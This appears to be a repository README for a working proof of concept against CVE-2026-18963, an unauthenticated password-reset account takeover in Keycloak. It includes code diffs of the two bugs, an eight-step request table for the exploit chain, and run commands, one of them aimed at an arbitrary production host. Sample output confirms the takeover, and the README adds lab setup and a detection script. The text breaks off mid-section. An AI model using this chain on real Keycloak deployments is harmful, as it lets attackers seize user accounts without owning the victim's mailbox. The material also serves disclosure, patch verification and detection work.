Working PoC for CVE-2026-18963, an unauthenticated account takeover in Keycloak's forgot-password flow, plus a lab provisioning script and admin-event detection helper.
Unauthenticated account takeover in Keycloak's "forgot password" flow. An attacker who knows, or can guess, a username can reset that account's password without ever receiving the email verification link.
Ethical Warning. This repo contains a working unauthenticated account-takeover PoC. Do not run it against infrastructure you are not authorised to test, and do not publish it publicly before the disclosure process below is complete.
| CVE | CVE-2026-18963 |
| GHSA | GHSA-4gv3-mc9p-5wqc |
| Component | org.keycloak:keycloak-services |
| Severity | Critical, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H:A:N (9.1) |
| CWE | CWE-640 Weak Password Recovery Mechanism for Forgotten Password |
| Reported by | stianst (issue #51833) |
| Fixed by | keycloak/keycloak#51844 |
| Affected | Patched |
|---|---|
>= 26.0.0, < 26.4.15 | 26.4.15 |
>= 26.5.0, < 26.6.6 | 26.6.6 |
>= 26.7.0, < 26.7.2 | 26.7.2 |
Patched upstream 11 Aug 2026 (26.4.15 / 26.6.6) and 19 Aug 2026 (26.7.2). Red Hat advisories: RHSA-2026:56519, RHSA-2026:56520, RHSA-2026:56523, RHSA-2026:56524.
No realm configuration turns this off. Every deployment that offers self-service password reset runs the vulnerable code.
Two bugs combine. The advisory describes one, but both are required for the chain.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED was stored as a plain boolean instead of an
execution id:
- processor.getAuthenticationSession().setAuthNote(
- AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
+ processor.getAuthenticationSession().setAuthNote(
+ AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
Because it was only "true", re-entering the reset flow re-rendered the "try another way" selector for whatever execution happened to be current, including the forked "Send Reset Email" step. The fix records which execution the selector was for and clears the note once the flow advances. Alone this is a UI oddity, but it is what lets the selector be aimed at the email step.
services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java
public void action(AuthenticationFlowContext context) {
- context.success();
+ UserModel user = context.getUser();
+ String actionTokenUserId = context.getAuthenticationSession()
+ .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+ if (user != null && user.getId().equals(actionTokenUserId)) {
+ context.success();
+ } else {
+ context.failure(AuthenticationFlowError.INVALID_USER);
+ }
}
action() marked the reset step successful without verifying that the request arrived via
the emailed action token. That email link is the only control binding a password reset to
the account owner's mailbox. Without it the flow stops being account recovery and becomes
account assignment.
Bug 1 aims the request, bug 2 lets it discharge without a live round.
All requests unauthenticated. The attacker supplies only a username.
| # | Request | Result |
|---|---|---|
| 1 | GET /realms/{realm}/protocol/openid-connect/auth?...client_id=account | login page, creates auth session |
| 2 | GET the "Forgot password" link | username form |
| 3 | POST username form with tryAnotherWay=on | selector screen renders, sets bug 1's note |
| 4 | POST selector action with username=<victim> | reset email sent (unread), flow forks at the email execution |
| 5 | GET the original forgot-password URL again, same tab | bug 1 re-renders the selector, now aimed at the email execution |
| 6 | POST that form with no authenticationExecution field | processAction() falls through to action(), context.success(), flow advances |
| 7 | POST password-new / password-confirm | victim's password overwritten |
| 8 | verify | new password authenticates, old one rejected |
Step 5 needs bug 1, step 6 needs bug 2. The PoC never calls a hidden endpoint or forges a token: at step 6 it submits the form the server itself rendered one request earlier.
The PoC takes the instance URL, realm, and target username. It ends by proving takeover with a Direct Access Grant against both the new and the old password.
# Against a lab you control
python3 poc.py --base http://localhost:8080 --realm poc --user victim
# Against another instance
python3 poc.py --base https://sso.example.com --realm $REALM --user someone
A real reproduction ends like this:
[1] login page ok
[2] reset-credentials username form ok
[3] selector screen rendered (bug-1 flag set)
[4] reset email for 'co.obi' triggered (link goes to victim's mailbox only)
[5] selector re-rendered, targets execution 41...... (reset-credential-email)
[6] bypass ok -> UPDATE PASSWORD form reached without the email link
[7] password submitted -> HTTP 302
[8] verify: new password -> HTTP 200, old password -> HTTP 400
[+] ACCOUNT TAKEOVER CONFIRMED - CVE-2026-18963 reproduced
Step 8 is the only step that constitutes proof. A 302 to a change-password page does not
mean the account changed hands, and if the old password also authenticated, nothing happened.
Run a vulnerable instance with Docker:
docker run -d --name kc-vuln -p 8080:8080 -p 9000:9000 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin -e KC_HEALTH_ENABLED=true quay.io/keycloak/keycloak:26.7.1 start-dev --hostname=http://localhost:8080
# optional patched control, same env
docker run -d --name kc-fixed -p 8081:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:26.7.2 start-dev --hostname=http://localhost:8080
python3 provision.py # realm 'poc', user 'victim', ROPC client 'poc-check'
provision.py defaults to --base http://localhost:8080 --admin admin --admin-pass admin.
Then:
python3 poc.py # -> ACCOUNT TAKEOVER CONFIRMED
python3 poc.py --base http://localhost:8081 # -> blocked at step [5], patched
No SMTP is needed. The email send fails and logs SEND_RESET_PASSWORD_ERROR, but the flow
still forks, which is all the exploit requires.
cve-2026-18963-hunt.py reads the admin events API to find resets that completed without a
matching EXECUTE_ACTION_TOKEN, which is the signature of this attack.
python3 cve-2026-18963-hunt.py --base http://localhost:8080 --admin admin --admin-pass admin --realm poc --since 1h
It pairs SEND_RESET_PASSWORD with UPDATE_PASSWORD/UPDATE_CREDENTIAL on the same
code_id and flags pairs inside a short time delta. It is a heuristic, not proof: a
legitimate reset completed quickly also matches.
Requires Direct Access Grants on the OIDC client and realm-management/view-events.
The same flow distinguishes real from fake accounts without performing a reset: